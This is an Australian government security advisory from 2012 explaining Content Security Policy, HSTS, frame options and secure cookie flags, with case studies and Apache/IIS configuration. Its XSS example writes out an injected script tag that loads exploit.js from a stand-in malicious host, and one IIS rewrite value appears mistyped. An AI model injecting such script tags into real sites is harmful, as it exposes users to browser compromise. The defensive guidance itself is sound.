Protecting Web Applications and Users

Technical guidance for improving web application security through implementing web browser based mitigations

Download CSOC Protect Notice, Protecting Web Applications and Users (PDF), February 2012

Contents

1. Introduction

Web applications are a popular and powerful solution to providing access to information, both internally within an agency and externally to other agencies and the public.

Like all software, web applications can have security problems and must be secured appropriately. There is a lot of guidance on securely developing and testing web applications, particularly through resources such as the Open Web Application Security Project. However, a lot of web applications are legacy applications with no current support of their source code. This may be due to web applications no longer being supported by the vendor, closed-source code or agencies not having the skillsets required to produce security patches. This can make it difficult or even impossible to implement traditional and effective security controls since they mostly require source code modification.

This document provides advice for web developers and IT security professionals on how agencies can protect their existing web applications by implementing low cost and effective security controls, which do not require changes to the application’s code. These security controls, when applied to new web applications in development (whether in the application’s code or server configuration), form part of the defence-in-depth strategy. The advice is based on DSD’s experience in conducting vulnerability assessments of Australian Government systems, including web applications.

2. Leveraging Browser-Based Security Controls

Traditionally all web application security controls had to be implemented on the server-side in order to be effective. For example, in the case of input validation client-side JavaScript validation is a possibility; but these security controls are easily bypassed by either disabling JavaScript or altering the request through the use of an intercepting proxy. Developers for PayPal, Mozilla and Microsoft have recently developed three new browser-based security controls:

Other advantages of these controls, aside from the increased security are:

The following sections provide an overview of how each security control works, how they are implemented and what should be considered during implementation. While these controls do not stop web application vulnerabilities from being exploited, they reduce or eliminate the consequences of exploitation both for the web application and users.

2.1 Content Security Policy

A Content Security Policy (CSP) provides security controls which can mitigate attacks such as cross-site scripting (XSS) and other attacks based on introducing malicious or otherwise undesirable content into a web application. A CSP achieves this by specifying a whitelist of content sources for a web application that a compatible browser then enforces. A large variety of content can be controlled using a CSP including scripts, images and audio or video.

By default, a CSP also implements other mitigations beyond whitelisting content sources. The main additional mitigations are:

The mitigations that a CSP offers allow an agency to greatly decrease the consequences associated with a web application compromise. This is particularly effective if security patches for the web application are no longer being developed, or will take a long time to deploy.

A CSP also offers another benefit - reporting. A CSP can direct the browser to report any breaches of the site’s CSP. Using this, an agency can detect attacks against their web applications that may have otherwise gone unnoticed and respond accordingly.

CSP Example – GovTenders Case Study

The mythical Department of Government Tenders has a web application called GovTenders. GovTenders has an XSS vulnerability which allows malicious JavaScript sourced from malicious.example.com to be injected into the page. For example, the adversary inserts:

<script src=”http://malicious.example.com/exploit.js”></script>

Without a Content Security Policy the following occurs:

  1. A user browses to the compromised www.govtenders.gov.au page.
  2. The web server serves the page to the user.
  3. The browser retrieves malicious.example.com/exploit.js and executes it.
  4. The malicious JavaScript uses a suitable exploit against the browser and the user’s computer is compromised.

With a suitable CSP, for example, default-src ‘self’ (this will be explained later), the following would occur:

  1. A user browses to the compromised www.govtenders.gov.au page.
  2. The web server serves the page with the addition of the CSP HTTP header to the user.
  3. The browser interprets the CSP and determines that content should only be retrieved from www.govtenders.gov.au.
  4. The browser ignores the malicious script source and doesn’t download it and thus cannot execute it.

Although the web application has been successfully exploited, the consequences are minimised as the CSP prevents the user’s browser from downloading and executing the malicious JavaScript. This same example could be applied to other content types which CSP can control such as malicious image or audio/video files.

2.1.1 Implementing a Content Security Policy

Enabling CSP for a web application involves configuring the web server to include the CSP HTTP header in all HTTP responses. A CSP looks like:

Code example showing HTTP header name and value pair

In the policy section, the whitelist of content sources is defined, along with violation report directives and changes to the default CSP restrictions such as inline JavaScript.

2.1.1.1 CSP Examples

The following illustrates example CSP implementations for the GovTenders site:

Allow own domain only

X-Content-Security-Policy: default-src ‘self’

The browser will only source content from www.govtenders.gov.au. The default CSP JavaScript security mitigations are enforced as there is no opt-out directive in this policy.

Allow subdomains

X-Content-Security-Policy: default-src *.govtenders.gov.au

The browser will source content from govtenders.gov.au and all subdomains. The default JavaScript security mitigations are enforced.

Restrict to self, allow inline JavaScript

X-Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’

The browser will only source content from www.govtenders.gov.au and will allow inline JavaScript sourced from the GovTenders domain to execute.

Allow everything from anywhere but block third-part scripts

X-Content-Security-Policy: default-src *; script-src ‘self’

The browser will load any content from any domain but will only load JavaScript from www.govtenders.gov.au. Inline JavaScript is not executed.

Allow to self and authorised external sources

X-Content-Security-Policy: default-src ‘self’; img-src *.cdn.example.com; media-src *.youtube.com; script-src *.jquery.com

The browser will load anything from www.govtenders.gov.au; images from cdn.example.com and any subdomains; audio/video from youtube.com and any subdomains; scripts from jquery.com and any subdomains.

Force all requests over HTTPS

X-Content-Security-Policy: default-src https://*:443 policy

The browser will load anything from anywhere, but all requests will use HTTPS.

Violation Report Policy

X-Content-Security-Policy: default-src ‘self’; report-uri /cspreport

The browser will only source content from www.govtenders.gov.au. If anything violates this policy (such as inline JavaScript or an image sourced from any domain other than www.govtenders.gov.au) then the browser submits a CSP violation report to www.govtenders.gov.au/cspreport. The contents of the report looks like:

{“csp-report”:{“request”:”GET http://www.govtenders.gov.au/ HTTP/1.1”,”blockeduri”:http://malicious.example.com/evil.jpg”,”violated-directive”:”default-src https://www.govtenders.gov.au”}}

An agency can create a handler for CSP violation reports and action them as appropriate.

2.1.2 CSP Implementation Considerations

Like many security controls, implementing a CSP requires prior planning. This planning will prevent configuration mistakes which may result in disruption to users and the agency’s business. Additionally, planning will result in more effective use of the violation report functionality if an agency uses it.

2.1.2.1 Developing the CSP

Care must be taken to identify all content sources on a web site as well as identifying the use of JavaScript that would be prevented by the default CSP restrictions. If this is not undertaken, users may be affected as they are unable to load required content such as scripts, images or stylesheets.

Unless you are very familiar with the site and its development, investigation will be required in order to develop a secure and effective CSP. Web server request logs by themselves are not sufficient as it won’t reveal external resources. Some tools and techniques used to plan and develop a CSP are outlined below.

CSP bookmarklet

A bookmarklet has been created by Mozilla to automatically generate an appropriate CSP for any site. This tool is limited as it only uses the current page to generate the policy. This can lead to non-whitelisted content sources being blocked if they are used on different pages.

Spidering tool

A web spider tool provides an automated alternative to manually browsing a site. The tool will automatically follow links on a page and create a list of all pages and sites visited. Depending on the spider’s configuration, areas of a site which require user interaction may not be covered. This should be supplemented with manual inspection if required. For example, most intercepting proxies, such as Web Scarab, have spidering capabilities or a standalone tool can be used.

Intercepting proxy

An intercepting proxy, such as Web Scarab, can be used to help generate a CSP. By comprehensively browsing the website through an intercepting proxy, a log of all domains the browser requests can be generated. These domains can then be assessed for their inclusion in the CSP. Care should be taken to filter out requests unrelated to the website’s content. These unrelated requests, which are common in modern browsers, could include:

The above should be disabled in the browser for the duration of the CSP development or otherwise filtered from the list of CSP allowed domains. Below is an example of using an intercepting proxy for http://data.gov.au:

Example intercepting proxy log

In the request log above, we can see that multiple content sources are used:

Based on the request log data.gov.au’s CSP could be:

X-Content-Security-Policy: default-src ‘self’; script-src dataau.govspace.gov.au s.govspace.gov.au; img-src s.govspace.gov.au

Inline JavaScript

If inline JavaScript is used on the site, remediation measures, from most secure to least secure, are:

  1. Move inline JavaScript to an externally referenced script file and authorise it using CSP
  2. Enable CSP inline JavaScript execution only for those pages that require it.
  3. Enable CSP inline JavaScript execution across the entire site.

CSP was primarily designed to prevent cross-site scripting attacks, therefore enabling inline JavaScript execution compromises the protection it offers.

2.1.2.2 Testing the CSP

Once the proposed CSP has been developed it is important to test it thoroughly to ensure that all legitimate content sources are authorised. CSP provides a means to help test a deployment in a production environment without disrupting users or the website; Report Only mode.

Report Only mode causes browsers to only report violations of the advertised CSP rather than blocking unauthorised content. Report Only mode is enabled by using a different HTTP header:

X-Content-Security-Policy-Report-Only: policy

Over a test period agencies can review any violation reports to determine whether there are any legitimate content sources which have not been included in the CSP.

2.1.3 Further Information

A Content Security Policy offers effective mitigations against web application attacks based on introducing malicious or otherwise undesirable content into a web application. The CSP examples in 2.1.1 do not cover all the possibilities. For further information on developing and deploying CSP refer to:

2.2 HTTP Strict Transport Security

HTTP Strict Transport Security (HSTS) mitigates the threat of eavesdropping and information disclosure. HSTS does this by directing compatible browsers to only use secure connections when communicating with the website.

When handling sensitive information it is important that a website uses secure connections for all communications. While this can be challenging, especially for larger or complex sites, common weaknesses of not using secure communications are:

HSTS can help solve these weaknesses without requiring large changes to the web application.

2.2.1 Example of HSTS in action

The following example demonstrates a typical (if abbreviated) transaction sequence of going to the GovTenders website, logging in and providing some sensitive information. Unfortunately the GovTenders site has been poorly developed and allows sensitive data to be passed over unencrypted HTTP requests.

HSTS request process diagram

2.2.2 Implementing HTTP Strict Transport Security

As with a Content Security Policy, implementing HSTS involves setting an additional HTTPS header to responses. A HSTS directive can only take two different forms:

1. Strict-Transport-Security: max-age=seconds

This directs compatible browsers to use HTTPS connections only, for the time specified in seconds.

2. Strict-Transport-Security: max-age=seconds; includeSubDomains

This does the same, except it extends the HTTPS-only coverage to subdomains.

2.2.3 HSTS Implementation Considerations

There are a number of details which must be considered when implementing an effective HSTS directive. The primary considerations are:

With these considerations in mind a HSTS header should be set in all HTTPS responses. A compatible browser will update the HSTS expiry for a host each time it receives a valid HSTS directive from that host. The length of time specified in max-age will depend on how long the agency is willing to commit to HTTPS only. A longer expiry time is preferable as the less a user has to connect via plaintext HTTP, the less vulnerable the data exchanged with the web application is.

Another factor to consider is agencies do not have to wait until a browser’s HSTS entry expires, RFC compliant browsers update their existing expiry time if a different value is specified by the server. However, if the HSTS header is removed, browsers with existing HSTS entries will continue to force HTTPS until the expiry time is reached.

2.2.4 Further Information

Further information on HSTS can be found at:

2.3 Frame Options

Frame Options prevent the use of legitimate websites as part of a clickjacking attack. Frame Options achieves this by defining whether the site’s content can be included in a HTML <frame> or <iframe>, which is then enforced by compatible browsers.

2.3.1 Implementing Frame Options

Enabling Frame Options for a website involves configuring the site to include the Frame Options HTTP header on either all HTTP responses or at least on pages which a user should interact with securely, for example, login or payment pages, or pages which allow users to perform sensitive actions. A Frame Options directive can be one of three values:

  1. X-Frame-Options: DENY - The deny directive prevents the protected content being included in any frame.
  2. X-Frame-Options: SAMEORIGIN - The sameorigin directive only allows the protected content to be included in a frame if the framing site is served from the same origin.
  3. X-Frame-Options: ALLOW-FROM origin(s) - The allow-from directive allows one or more origins to frame the protected content. Wildcards are not permitted to specify multiple domains.

2.3.2 Frame Options Implementation Considerations

Before deploying Frame Options agencies should determine whether content from the website to be protected is legitimately included in any frames. This can be difficult to determine for sites outside of the agency’s control. Checking the HTTP Referer header on requests can reveal where users are being linked from but this will also include legitimate linking rather than just framing. Additionally the Referer header is not always reliable due to the way that the header is handled by browsers and other intermediaries.

If legitimate framing is used, it must be determined whether the sameorigin (internal use) or the allowfrom (external use) directive should be used. Additionally, as wildcards are not permitted in an allow-from directive each individual origin must be identified and included.

2.3.3 Further Information

For more information on Frame Options refer to:

2.4 Cookie Security Enhancements

Cookies are vital to web applications as they provide a means to store information on the client. This information can include site preferences and tracking information, but most importantly cookies are typically used to hold web application session IDs. Due to the stateless nature of HTTP, session IDs are the only practical means of tracking state, such as authentication status.

Attacks such as XSS or man-in-the-middle interception exploit the reliance on session IDs in order to impersonate a legitimate user and hijack their session. Therefore protecting cookies containing session IDs is vital to the security of a web application. There are two security controls available, at the cookie level, to help protect cookies; the Secure and HttpOnly options.

2.4.1 Secure Cookies

As identified previously in HTTP Strict Transport Security a web site may use HTTPS on some pages but fail to implement or force its use on others. Because of this, cookies containing session IDs could be sent in the clear allowing the session to be hijacked. To avoid this, the Secure option should be set when issuing cookies containing sensitive data. The Secure option forces compatible browsers to only send the cookie over HTTPS connections, avoiding sending the cookie over plaintext HTTP.

To implement Secure cookies, the Secure option is appended to the cookie value when a cookie is set by the server:

Set-Cookie: PHPSESSID=1a9vnsk3haqpi29kamrnrul06c5; path=/; Secure

2.4.2 HttpOnly Cookies

While the Secure option helps ensure that the cookie isn’t leaked through insecure communications, it does not protect against the threat of XSS. One potential use of a XSS attack is to steal a user’s cookie and send it to the attacker. The attacker can then use the stolen cookie to impersonate the user, bypassing the web application’s authentication controls. To protect against this, the HttpOnly option should be set to prevent JavaScript access to the cookie. With the HttpOnly option set, compatible browsers will only retrieve the cookie when it is being sent as part of a HTTP request to the issuing origin.

Like the Secure option the HttpOnly option is appended to the cookie value when a cookie is set:

Set-Cookie: PHPSESSID=1a9vnsk3haqpi29kamrnrul06c5; path=/; HttpOnly

The Secure and HttpOnly options can be set at the same time:

Set-Cookie: PHPSESSID=1a9vnsk3haqpi29kamrnrul06c5; path=/; HttpOnly; Secure

2.4.3 Cookie Security Implementation Considerations

When implementing the Secure and HttpOnly options the site should first be reviewed to determine whether these security enhancements will cause any issues. For example, a key part of a site may not use HTTPS but still expect to receive a cookie. Since the Secure option has been set, the cookie isn’t sent to the server over HTTP, which may cause issues. This is indicative of a wider problem of not using HTTPS to protect a web application, rather than an incompatibility with the Secure option.

3 Case Study – OnSecure

Note: This case study does not refer to the current OnSecure site. The case study was written in 2012; the site was updated in 2014. The discussion and advice is still relevant. A newer case study may be used in a future update to this paper.

OnSecure is a web application owned and administered by DSD.

OnSecure is powered by Drupal, a content management system (CMS). Implementing an existing commercial or open source CMS is a popular choice when developing a web application since a custom solution does not need to be developed and maintained. However, a CMS may be vulnerable if security patches are not applied regularly or are no longer released by the developer.

Although software developers can be very security conscious, it is almost impossible to develop software that is vulnerability-free, particularly as new exploitation techniques are developed. As such, the browser-based security controls provide an additional layer of protection.

The author of this document was familiar with OnSecure and its internals and thus had a good idea where to start when it came to configuring and deploying the security controls. However, investigation and testing prior to deployment revealed a number of factors which had to be taken into consideration.

3.1 Content Security Policy

OnSecure doesn’t source any legitimate content from any origins other than www.onsecure.gov.au and members.onsecure.gov.au. This means that the CSP should be fairly simple as no additional sources would have to be specified (e.g. img-src, script-src). However, it still needed to be determined whether OnSecure uses inline JavaScript and other JavaScript functionality blocked by CSP’s default restrictions. In order to determine if functionality would be affected by not allowing inline JavaScript execution, a report-only CSP was deployed:

X-Content-Security-Policy-Report-Only: default-src ‘self’; report-uri /dummyreport

Rather than create a handler to receive the violation reports on the server, an intercepting proxy was used to view the content of the violation reports as the browser sent them. This allowed a better understanding of whether OnSecure uses inline JavaScript and confirmed that a policy of default-src ‘self’ would be sufficient and no ‘unsafe-inline’ option would be needed. However, visiting every page manually is difficult and error prone. To verify that the proposed policy was correct, a simple HTTP POST handler was written in order to log the submitted violation reports. These were then reviewed to determine whether any violations were being reported and under what conditions. Examples of violations reported included:

The violation reports showed that, aside from breaking user bookmarklets, the proposed CSP was correct. Therefore the following CSP was deployed site-wide:

X-Content-Security-Policy default-src ‘self’; report-uri /cspreport.php

The violation report log is reviewed regularly in order to determine if there are any issues or violations that may indicate maliciousness. Enhancements to the report handler will include filtering to reduce the number of false positives and email alerting of suspicious reports.

3.2 HTTP Strict Transport Security

OnSecure uses two Apache virtual hosts, one serving the plaintext landing page (http://www.onsecure.gov.au) and another serving the SSL-protected member’s section (https://members.onsecure.gov.au). As sensitive content is only served from members.onsecure.gov.au OnSecure’s SSL certificate is only issued for members.onsecure.gov.au, rather than *.onsecure.gov.au. This causes an SSL error due to domain name mismatch if https://www.onsecure.gov.au is accessed.

Because of this, HSTS could not be enabled server wide as per CSP as the browser would ignore the HSTS directive because of either the SSL error or plaintext HTTP delivery. Therefore the following HSTS directive was only placed in the virtual host configuration which serves https://members.onsecure.gov.au:

Strict-Transport-Security: max-age=2592000

If OnSecure’s SSL certificate was valid for *.onsecure.gov.au and the entire site was delivered over HTTPS, then a server-wide HSTS directive could be used, such as:

Strict-Transport-Security: max-age=2592000; includeSubDomains

3.3 Frame Options

As with CSP, there was no legitimate use for external sites to include OnSecure content within HTML frames. Therefore, all that was required was to place a suitable directive in all the HTTP responses sent by OnSecure:

X-Frame-Options: SAMEORIGIN

3.4 Cookie Security Enhancements

Like the majority of web applications, OnSecure uses cookies to hold session IDs used to authenticate a user. It is vital that these cookies are secured to avoid the disclosure of this session ID which can lead to unauthorised access.

3.4.1 Secure Cookies

The implementation of HSTS would help cookies remain secure by ensuring that compatible browsers only communicate over HTTPS with members.onsecure.gov.au, the domain which issues and receives cookies. Unfortunately, not all browsers support HSTS and additional layers of protection are required. Therefore the Secure option was implemented on OnSecure because there is greater browser support for it, and cookies could be protected even if HSTS was unsupported.

3.4.2 HttpOnly Cookies

By implementing a CSP it was known that OnSecure doesn’t use JavaScript, especially not to access or manipulate the cookies it issues. As such, the HttpOnly option was implemented to help limit the consequences of a XSS vulnerability being exploited in OnSecure (and if the CSP was ineffective or not supported by the browser) which could lead to session ID theft.

3.4.3 Implementation

Due to the restriction on editing OnSecure source code the addition of the Secure and HttpOnly options to the cookies issued by Drupal was done using Apache, the OnSecure web server. The Apache headers module allows editing of existing headers based on regular expressions. The necessary entry was added to the https://members.onsecure.gov.au virtual host configuration to ensure that the resultant cookie directive issued to the user looks like the following truncated example:

Set-Cookie: SESS719dja2841=nzkJAh1729Akzj28; HttpOnly; Secure

3.5 Viewing the Security Controls

To view the security controls currently implemented on OnSecure, an intercepting proxy, a browser and extensions (to view HTTP headers) or a tool such as wget can be used.

Appendix – Implementing the Browser Controls using Apache and Internet Information Services (IIS)

The following section describes how browser security controls can be implemented using the two most common web servers; Apache and Internet Information Services (IIS).

When implementing the controls, one of the primary considerations, aside from planning the security policies themselves, is determining the level at which to implement the controls. Both Apache and IIS allow controls to be implemented at the following levels at least:

Implementing with Apache

Implementing these security controls in Apache requires the mod_headers module.

Adding New HTTP Headers

For the OnSecure implementation the CSP, HSTS and Frame Options are implemented through the addition of new headers. Below is an example using the addition of the new CSP HTTP header:

Header set X-Content-Security-Policy “default-src ‘self’; report-uri /cspreport.php”

Altering Existing HTTP Headers

In the case of the cookie security enhancements, the existing Set-Cookie header (created and added by Drupal) must be altered.

The Apache headers module allows editing of existing headers based on regular expressions. The following setting was used to add the security controls:

Header edit Set-Cookie ^(.*)$ “$1; HttpOnly; Secure”

^(.*)$ - Matches and retrieves the entire Set-Cookie value (looking for any characters, any length).

“$1; HttpOnly; Secure” – The matched string, in this case the Set-Cookie value, gets placed into $1. Then the two new cookie options are appended, using semicolons as separators.

For further information on configuring Apache see:

Implementing with IIS

Although IIS supports the addition of custom HTTP response headers using the ‘HTTP Response Headers’ feature, it does not support conditional or more advanced processing out-of-the-box. However, an IIS extension, URL Rewrite, offers this functionality.

For consistency the examples below were all implemented using URL Rewrite. This implementation used IIS 7.5.

Adding New HTTP Headers

Below is an example of adding a new header, the CSP, to the HTTP response:

<rule name="Content Security Policy">

<match serverVariable="RESPONSE_X_Content_Security_Policy" pattern="^$" />

<action type="Rewrite" value="default-src 'self'; report-uri /cspreport.php" />

</rule>

Although it is adding a new header URL Rewrite still requires the use of a ‘dummy’ matching rule.

Altering Existing HTTP Headers

The conditions feature is used to alter existing HTTP headers. The following is an example of the rule required to alter existing Set-Cookie header to include the cookie security enhancements:

<rule name="Cookie Security Enhancements" preCondition="Set-Cookie Exists">

<match serverVariable="RESPONSE_Set_Cookie" pattern="^(.*)$" />

<conditions>

<add input="{RESPONSE_SET_COOKIE}" pattern="." />

</conditions>

<action type="Rewrite" value="{R:)}; HttpOnly; Secure" />

</rule>

The conditions element requires that a Set-Cookie header be present in the response before the new security flags are appended to the Set-Cookie value.

For further information on using IIS and URL Rewrite see:

Contact

Australian government customers with questions regarding this advice can contact ASD Advice and Assistance.

Australian businesses and other private sector organisations seeking further information should contact CERT Australia.